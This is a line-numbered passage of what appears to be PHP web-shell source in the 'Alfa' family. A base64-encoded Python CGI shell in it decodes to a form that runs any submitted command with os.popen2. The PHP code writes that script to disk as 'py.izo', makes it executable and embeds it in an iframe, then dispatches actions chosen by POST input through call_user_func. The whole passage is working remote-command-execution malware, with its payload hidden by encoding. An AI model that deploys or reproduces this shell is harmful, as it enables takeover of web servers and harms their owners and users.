3358IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
3359ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
3360aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
3361CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
3362ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
3363cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
3364ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
3365Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
3366IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
3367dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
3368ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
3369IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
3370IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
3371cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
3372IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
3373ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
3374YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
3375KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
3376aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
3377PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
3378PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
3379ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
3380ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
3381dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
3382aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
3383biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
3384bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
3385TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
3386bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
3387ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
3388SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
3389ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
3390cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
3391$solevisible1 = fopen('py.izo','w+');
3392$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
3393fclose($solevisible1);
3394chmod('py.izo',0755);
3395echo '<iframe src=cgipy/py.izo width=100% height=600px frameborder=0></iframe> ';
3396echo "</div>";
3397alfafooter();
3398}
3399if( empty($_POST['a']) )
3400if(isset($default_action) && function_exists('alfa' . $default_action))
3401$_POST['a'] = $default_action;
3402else
3403$_POST['a'] = 'FilesMan';
3404if( !empty($_POST['a']) && function_exists('alfa' . $_POST['a']) )
3405call_user_func('alfa' . $_POST['a']);
3406exit;